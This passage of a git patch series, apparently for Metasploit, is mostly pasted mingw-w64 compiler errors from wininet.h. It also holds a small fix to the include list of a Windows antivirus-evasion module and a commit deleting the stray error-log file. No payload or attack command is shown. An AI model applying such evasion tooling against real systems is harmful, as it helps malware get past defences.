^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1491:3: error: unknown type name ‘DWORD’ +/usr/share/mingw-w64/include/wininet.h:1492:3: error: unknown type name ‘EXTERN_C’ + 1492 | INTERNETAPI_(DWORD) InternetDialW(HWND hwndParent,LPWSTR lpszConnectoid,DWORD dwFlags,DWORD_PTR *lpdwConnection,DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1492:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘DWORD’ + 1492 | INTERNETAPI_(DWORD) InternetDialW(HWND hwndParent,LPWSTR lpszConnectoid,DWORD dwFlags,DWORD_PTR *lpdwConnection,DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1492:3: error: unknown type name ‘DWORD’ +/usr/share/mingw-w64/include/wininet.h:1498:3: error: unknown type name ‘EXTERN_C’ + 1498 | INTERNETAPI_(DWORD) InternetHangUp(DWORD_PTR dwConnection,DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1498:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘DWORD’ + 1498 | INTERNETAPI_(DWORD) InternetHangUp(DWORD_PTR dwConnection,DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1498:3: error: unknown type name ‘DWORD’ +/usr/share/mingw-w64/include/wininet.h:1503:3: error: unknown type name ‘EXTERN_C’ + 1503 | INTERNETAPI_(WINBOOL) InternetGoOnlineA(LPSTR lpszURL,HWND hwndParent,DWORD dwFlags); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1503:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1503 | INTERNETAPI_(WINBOOL) InternetGoOnlineA(LPSTR lpszURL,HWND hwndParent,DWORD dwFlags); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1503:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1504:3: error: unknown type name ‘EXTERN_C’ + 1504 | INTERNETAPI_(WINBOOL) InternetGoOnlineW(LPWSTR lpszURL,HWND hwndParent,DWORD dwFlags); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1504:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1504 | INTERNETAPI_(WINBOOL) InternetGoOnlineW(LPWSTR lpszURL,HWND hwndParent,DWORD dwFlags); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1504:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1506:3: error: unknown type name ‘EXTERN_C’ + 1506 | INTERNETAPI_(WINBOOL) InternetAutodial(DWORD dwFlags,HWND hwndParent); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1506:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1506 | INTERNETAPI_(WINBOOL) InternetAutodial(DWORD dwFlags,HWND hwndParent); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1506:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1515:3: error: unknown type name ‘EXTERN_C’ + 1515 | INTERNETAPI_(WINBOOL) InternetAutodialHangup(DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1515:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1515 | INTERNETAPI_(WINBOOL) InternetAutodialHangup(DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1515:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1516:3: error: unknown type name ‘EXTERN_C’ + 1516 | INTERNETAPI_(WINBOOL) InternetGetConnectedState(LPDWORD lpdwFlags,DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1516:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1516 | INTERNETAPI_(WINBOOL) InternetGetConnectedState(LPDWORD lpdwFlags,DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1516:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1517:3: error: unknown type name ‘EXTERN_C’ + 1517 | INTERNETAPI_(WINBOOL) InternetGetConnectedStateExA(LPDWORD lpdwFlags,LPSTR lpszConnectionName,DWORD dwBufLen,DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1517:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1517 | INTERNETAPI_(WINBOOL) InternetGetConnectedStateExA(LPDWORD lpdwFlags,LPSTR lpszConnectionName,DWORD dwBufLen,DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1517:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1518:3: error: unknown type name ‘EXTERN_C’ + 1518 | INTERNETAPI_(WINBOOL) InternetGetConnectedStateExW(LPDWORD lpdwFlags,LPWSTR lpszConnectionName,DWORD dwBufLen,DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1518:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1518 | INTERNETAPI_(WINBOOL) InternetGetConnectedStateExW(LPDWORD lpdwFlags,LPWSTR lpszConnectionName,DWORD dwBufLen,DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1518:3: error: unknown type name ‘WINBOOL’ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:1526:5: error: expected specifier-qualifier-list before ‘WINBOOL’ + 1526 | WINBOOL (WINAPI *IsResolvable)(LPSTR lpszHost); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1533:5: error: unknown type name ‘DWORD’ + 1533 | DWORD dwStructSize; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1534:5: error: unknown type name ‘LPSTR’ + 1534 | LPSTR lpszScriptBuffer; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1535:5: error: unknown type name ‘DWORD’ + 1535 | DWORD dwScriptBufferSize; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1542:20: error: unknown type name ‘CALLBACK’ + 1542 | typedef WINBOOL (CALLBACK *pfnInternetInitializeAutoProxyDll)(DWORD dwVersion,LPSTR lpszDownloadedTempFile,LPSTR lpszMime,AutoProxyHelperFunctions *lpAutoProxyCallbacks,LPAUTO_PROXY_SCRIPT_BUFFER lpAutoProxyScriptBuffer); + | ^~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1543:20: error: unknown type name ‘CALLBACK’ + 1543 | typedef WINBOOL (CALLBACK *pfnInternetDeInitializeAutoProxyDll)(LPSTR lpszMime,DWORD dwReserved); + | ^~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1544:20: error: unknown type name ‘CALLBACK’ + 1544 | typedef WINBOOL (CALLBACK *pfnInternetGetProxyInfo)(LPCSTR lpszUrl,DWORD dwUrlLength,LPSTR lpszUrlHostName,DWORD dwUrlHostNameLength,LPSTR *lplpszProxyHostName,LPDWORD lpdwProxyHostNameLength); + | ^~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:1549:3: error: unknown type name ‘EXTERN_C’ + 1549 | INTERNETAPI_(WINBOOL) InternetGetConnectedStateEx(LPDWORD lpdwFlags,LPSTR lpszConnectionName,DWORD dwNameLen,DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1549:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1549 | INTERNETAPI_(WINBOOL) InternetGetConnectedStateEx(LPDWORD lpdwFlags,LPSTR lpszConnectionName,DWORD dwNameLen,DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1549:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1552:3: error: unknown type name ‘EXTERN_C’ + 1552 | INTERNETAPI_(WINBOOL) InternetInitializeAutoProxyDll(DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1552:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1552 | INTERNETAPI_(WINBOOL) InternetInitializeAutoProxyDll(DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1552:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1553:3: error: unknown type name ‘EXTERN_C’ + 1553 | INTERNETAPI_(WINBOOL) InternetDeInitializeAutoProxyDll(LPSTR lpszMime,DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1553:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1553 | INTERNETAPI_(WINBOOL) InternetDeInitializeAutoProxyDll(LPSTR lpszMime,DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1553:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1554:3: error: unknown type name ‘EXTERN_C’ + 1554 | INTERNETAPI_(WINBOOL) InternetGetProxyInfo(LPCSTR lpszUrl,DWORD dwUrlLength,LPSTR lpszUrlHostName,DWORD dwUrlHostNameLength,LPSTR *lplpszProxyHostName,LPDWORD lpdwProxyHostNameLength); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1554:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1554 | INTERNETAPI_(WINBOOL) InternetGetProxyInfo(LPCSTR lpszUrl,DWORD dwUrlLength,LPSTR lpszUrlHostName,DWORD dwUrlHostNameLength,LPSTR *lplpszProxyHostName,LPDWORD lpdwProxyHostNameLength); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1554:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1555:3: error: unknown type name ‘EXTERN_C’ + 1555 | INTERNETAPI_(WINBOOL) DetectAutoProxyUrl(LPSTR lpszAutoProxyUrl,DWORD dwAutoProxyUrlLength,DWORD dwDetectFlags); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1555:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1555 | INTERNETAPI_(WINBOOL) DetectAutoProxyUrl(LPSTR lpszAutoProxyUrl,DWORD dwAutoProxyUrlLength,DWORD dwDetectFlags); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1555:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1556:3: error: unknown type name ‘EXTERN_C’ + 1556 | INTERNETAPI_(WINBOOL) CreateMD5SSOHash(PWSTR pszChallengeInfo,PWSTR pwszRealm,PWSTR pwszTarget,PBYTE pbHexHash); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1556:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1556 | INTERNETAPI_(WINBOOL) CreateMD5SSOHash(PWSTR pszChallengeInfo,PWSTR pwszRealm,PWSTR pwszTarget,PBYTE pbHexHash); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1556:3: error: unknown type name ‘WINBOOL’ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:1566:18: error: unknown type name ‘CALLBACK’ + 1566 | typedef DWORD (CALLBACK *PFN_DIAL_HANDLER) (HWND,LPCSTR,DWORD,LPDWORD); + | ^~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:1584:3: error: unknown type name ‘EXTERN_C’ + 1584 | INTERNETAPI_(WINBOOL) InternetSetDialState(LPCSTR lpszConnectoid,DWORD dwState,DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1584:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1584 | INTERNETAPI_(WINBOOL) InternetSetDialState(LPCSTR lpszConnectoid,DWORD dwState,DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1584:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1587:3: error: unknown type name ‘EXTERN_C’ + 1587 | INTERNETAPI_(WINBOOL) InternetSetDialStateA(LPCSTR lpszConnectoid,DWORD dwState,DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1587:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1587 | INTERNETAPI_(WINBOOL) InternetSetDialStateA(LPCSTR lpszConnectoid,DWORD dwState,DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1587:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1588:3: error: unknown type name ‘EXTERN_C’ + 1588 | INTERNETAPI_(WINBOOL) InternetSetDialStateW(LPCWSTR lpszConnectoid,DWORD dwState,DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1588:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1588 | INTERNETAPI_(WINBOOL) InternetSetDialStateW(LPCWSTR lpszConnectoid,DWORD dwState,DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1588:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1592:3: error: unknown type name ‘EXTERN_C’ + 1592 | INTERNETAPI_(WINBOOL) InternetSetPerSiteCookieDecisionA(LPCSTR pchHostName,DWORD dwDecision); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1592:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1592 | INTERNETAPI_(WINBOOL) InternetSetPerSiteCookieDecisionA(LPCSTR pchHostName,DWORD dwDecision); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1592:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1593:3: error: unknown type name ‘EXTERN_C’ + 1593 | INTERNETAPI_(WINBOOL) InternetSetPerSiteCookieDecisionW(LPCWSTR pchHostName,DWORD dwDecision); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1593:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1593 | INTERNETAPI_(WINBOOL) InternetSetPerSiteCookieDecisionW(LPCWSTR pchHostName,DWORD dwDecision); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1593:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1594:3: error: unknown type name ‘EXTERN_C’ + 1594 | INTERNETAPI_(WINBOOL) InternetGetPerSiteCookieDecisionA(LPCSTR pchHostName,unsigned __LONG32 *pResult); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1594:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1594 | INTERNETAPI_(WINBOOL) InternetGetPerSiteCookieDecisionA(LPCSTR pchHostName,unsigned __LONG32 *pResult); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1594:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1595:3: error: unknown type name ‘EXTERN_C’ + 1595 | INTERNETAPI_(WINBOOL) InternetGetPerSiteCookieDecisionW(LPCWSTR pchHostName,unsigned __LONG32 *pResult); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1595:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1595 | INTERNETAPI_(WINBOOL) InternetGetPerSiteCookieDecisionW(LPCWSTR pchHostName,unsigned __LONG32 *pResult); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1595:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1596:3: error: unknown type name ‘EXTERN_C’ + 1596 | INTERNETAPI_(WINBOOL) InternetClearAllPerSiteCookieDecisions(); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1596:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1596 | INTERNETAPI_(WINBOOL) InternetClearAllPerSiteCookieDecisions(); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1596:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1597:3: error: unknown type name ‘EXTERN_C’ + 1597 | INTERNETAPI_(WINBOOL) InternetEnumPerSiteCookieDecisionA(LPSTR pszSiteName,unsigned __LONG32 *pcSiteNameSize,unsigned __LONG32 *pdwDecision,unsigned __LONG32 dwIndex); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1597:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1597 | INTERNETAPI_(WINBOOL) InternetEnumPerSiteCookieDecisionA(LPSTR pszSiteName,unsigned __LONG32 *pcSiteNameSize,unsigned __LONG32 *pdwDecision,unsigned __LONG32 dwIndex); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1597:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1598:3: error: unknown type name ‘EXTERN_C’ + 1598 | INTERNETAPI_(WINBOOL) InternetEnumPerSiteCookieDecisionW(LPWSTR pszSiteName,unsigned __LONG32 *pcSiteNameSize,unsigned __LONG32 *pdwDecision,unsigned __LONG32 dwIndex); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1598:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1598 | INTERNETAPI_(WINBOOL) InternetEnumPerSiteCookieDecisionW(LPWSTR pszSiteName,unsigned __LONG32 *pcSiteNameSize,unsigned __LONG32 *pdwDecision,unsigned __LONG32 dwIndex); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1598:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1625:3: error: unknown type name ‘EXTERN_C’ + 1625 | INTERNETAPI_(DWORD) PrivacySetZonePreferenceW(DWORD dwZone,DWORD dwType,DWORD dwTemplate,LPCWSTR pszPreference); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1625:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘DWORD’ + 1625 | INTERNETAPI_(DWORD) PrivacySetZonePreferenceW(DWORD dwZone,DWORD dwType,DWORD dwTemplate,LPCWSTR pszPreference); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1625:3: error: unknown type name ‘DWORD’ +/usr/share/mingw-w64/include/wininet.h:1626:3: error: unknown type name ‘EXTERN_C’ + 1626 | INTERNETAPI_(DWORD) PrivacyGetZonePreferenceW(DWORD dwZone,DWORD dwType,LPDWORD pdwTemplate,LPWSTR pszBuffer,LPDWORD pdwBufferLength); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1626:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘DWORD’ + 1626 | INTERNETAPI_(DWORD) PrivacyGetZonePreferenceW(DWORD dwZone,DWORD dwType,LPDWORD pdwTemplate,LPWSTR pszBuffer,LPDWORD pdwBufferLength); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1626:3: error: unknown type name ‘DWORD’ diff --git a/modules/evasion/windows/time_obfuscation_no_shellcode.rb b/modules/evasion/windows/time_obfuscation_no_shellcode.rb index e1d5915226fd..9eb28ec9c18f 100644 --- a/modules/evasion/windows/time_obfuscation_no_shellcode.rb +++ b/modules/evasion/windows/time_obfuscation_no_shellcode.rb @@ -154,7 +154,6 @@ def junk_code(flag) def get_includes [ - "#include \"#{File.join(Msf::Config.install_root, 'data', 'headers', 'windows')}/rc4.h\"", '#include ', '#include ', '#include ', @@ -163,8 +162,9 @@ def get_includes '#include ', '#include ', '#include ', - '#include ' - ].shuffle.join("\n") + '#include ', + "#include \"#{File.join(Msf::Config.install_root, 'data', 'headers', 'windows')}/rc4.h\"" + ].join("\n") end def get_time_distorsion From b756f1fceb37fc279dbc00f7fc3107b435f58bc4 Mon Sep 17 00:00:00 2001 From: Arthur RAOUT Date: Sat, 17 Feb 2024 16:08:35 +0100 Subject: [PATCH 21/22] clean --- 1 | 1942 ------------------------------------------------------------- 1 file changed, 1942 deletions(-) delete mode 100644 1 diff --git a/1 b/1 deleted file mode 100644 index febbf03515fc..000000000000 --- a/1 +++ /dev/null @@ -1,1942 +0,0 @@ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:29:11: error: unknown type name ‘LPVOID’ - 29 | typedef LPVOID HINTERNET; - | ^~~~~~ -/usr/share/mingw-w64/include/wininet.h:32:11: error: unknown type name ‘WORD’ - 32 | typedef WORD INTERNET_PORT; - | ^~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:130:5: error: unknown type name ‘DWORD_PTR’ - 130 | DWORD_PTR dwResult; - | ^~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:131:5: error: unknown type name ‘DWORD’ - 131 | DWORD dwError; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:135:5: error: unknown type name ‘DWORD_PTR’ - 135 | DWORD_PTR Socket; - | ^~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:136:5: error: unknown type name ‘DWORD’ - 136 | DWORD SourcePort; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:137:5: error: unknown type name ‘DWORD’ - 137 | DWORD DestPort; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:138:5: error: unknown type name ‘DWORD’ - 138 | DWORD Flags; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:147:5: error: unknown type name ‘DWORD’ - 147 | DWORD dwAccessType; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:148:5: error: unknown type name ‘LPCTSTR’ - 148 | LPCTSTR lpszProxy; - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:149:5: error: unknown type name ‘LPCTSTR’ - 149 | LPCTSTR lpszProxyBypass; - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:153:5: error: unknown type name ‘DWORD’ - 153 | DWORD dwOption; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:155:7: error: unknown type name ‘DWORD’ - 155 | DWORD dwValue; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:156:7: error: unknown type name ‘LPSTR’ - 156 | LPSTR pszValue; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:157:7: error: unknown type name ‘FILETIME’ - 157 | FILETIME ftValue; - | ^~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:162:5: error: unknown type name ‘DWORD’ - 162 | DWORD dwOption; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:164:7: error: unknown type name ‘DWORD’ - 164 | DWORD dwValue; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:165:7: error: unknown type name ‘LPWSTR’ - 165 | LPWSTR pszValue; - | ^~~~~~ -/usr/share/mingw-w64/include/wininet.h:166:7: error: unknown type name ‘FILETIME’ - 166 | FILETIME ftValue; - | ^~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:174:5: error: unknown type name ‘DWORD’ - 174 | DWORD dwSize; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:175:5: error: unknown type name ‘LPSTR’ - 175 | LPSTR pszConnection; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:176:5: error: unknown type name ‘DWORD’ - 176 | DWORD dwOptionCount; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:177:5: error: unknown type name ‘DWORD’ - 177 | DWORD dwOptionError; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:182:5: error: unknown type name ‘DWORD’ - 182 | DWORD dwSize; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:183:5: error: unknown type name ‘LPWSTR’ - 183 | LPWSTR pszConnection; - | ^~~~~~ -/usr/share/mingw-w64/include/wininet.h:184:5: error: unknown type name ‘DWORD’ - 184 | DWORD dwOptionCount; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:185:5: error: unknown type name ‘DWORD’ - 185 | DWORD dwOptionError; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:217:5: error: unknown type name ‘DWORD’ - 217 | DWORD dwMajorVersion; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:218:5: error: unknown type name ‘DWORD’ - 218 | DWORD dwMinorVersion; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:222:5: error: unknown type name ‘DWORD’ - 222 | DWORD dwMajorVersion; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:223:5: error: unknown type name ‘DWORD’ - 223 | DWORD dwMinorVersion; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:227:5: error: unknown type name ‘DWORD’ - 227 | DWORD dwConnectedState; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:228:5: error: unknown type name ‘DWORD’ - 228 | DWORD dwFlags; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:234:5: error: unknown type name ‘DWORD’ - 234 | DWORD dwStructSize; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:235:5: error: unknown type name ‘LPSTR’ - 235 | LPSTR lpszScheme; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:236:5: error: unknown type name ‘DWORD’ - 236 | DWORD dwSchemeLength; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:238:5: error: unknown type name ‘LPSTR’ - 238 | LPSTR lpszHostName; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:239:5: error: unknown type name ‘DWORD’ - 239 | DWORD dwHostNameLength; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:241:5: error: unknown type name ‘LPSTR’ - 241 | LPSTR lpszUserName; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:242:5: error: unknown type name ‘DWORD’ - 242 | DWORD dwUserNameLength; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:243:5: error: unknown type name ‘LPSTR’ - 243 | LPSTR lpszPassword; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:244:5: error: unknown type name ‘DWORD’ - 244 | DWORD dwPasswordLength; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:245:5: error: unknown type name ‘LPSTR’ - 245 | LPSTR lpszUrlPath; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:246:5: error: unknown type name ‘DWORD’ - 246 | DWORD dwUrlPathLength; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:247:5: error: unknown type name ‘LPSTR’ - 247 | LPSTR lpszExtraInfo; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:248:5: error: unknown type name ‘DWORD’ - 248 | DWORD dwExtraInfoLength; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:252:5: error: unknown type name ‘DWORD’ - 252 | DWORD dwStructSize; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:253:5: error: unknown type name ‘LPWSTR’ - 253 | LPWSTR lpszScheme; - | ^~~~~~ -/usr/share/mingw-w64/include/wininet.h:254:5: error: unknown type name ‘DWORD’ - 254 | DWORD dwSchemeLength; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:256:5: error: unknown type name ‘LPWSTR’ - 256 | LPWSTR lpszHostName; - | ^~~~~~ -/usr/share/mingw-w64/include/wininet.h:257:5: error: unknown type name ‘DWORD’ - 257 | DWORD dwHostNameLength; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:259:5: error: unknown type name ‘LPWSTR’ - 259 | LPWSTR lpszUserName; - | ^~~~~~ -/usr/share/mingw-w64/include/wininet.h:260:5: error: unknown type name ‘DWORD’ - 260 | DWORD dwUserNameLength; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:261:5: error: unknown type name ‘LPWSTR’ - 261 | LPWSTR lpszPassword; - | ^~~~~~ -/usr/share/mingw-w64/include/wininet.h:262:5: error: unknown type name ‘DWORD’ - 262 | DWORD dwPasswordLength; - | ^~~~~ 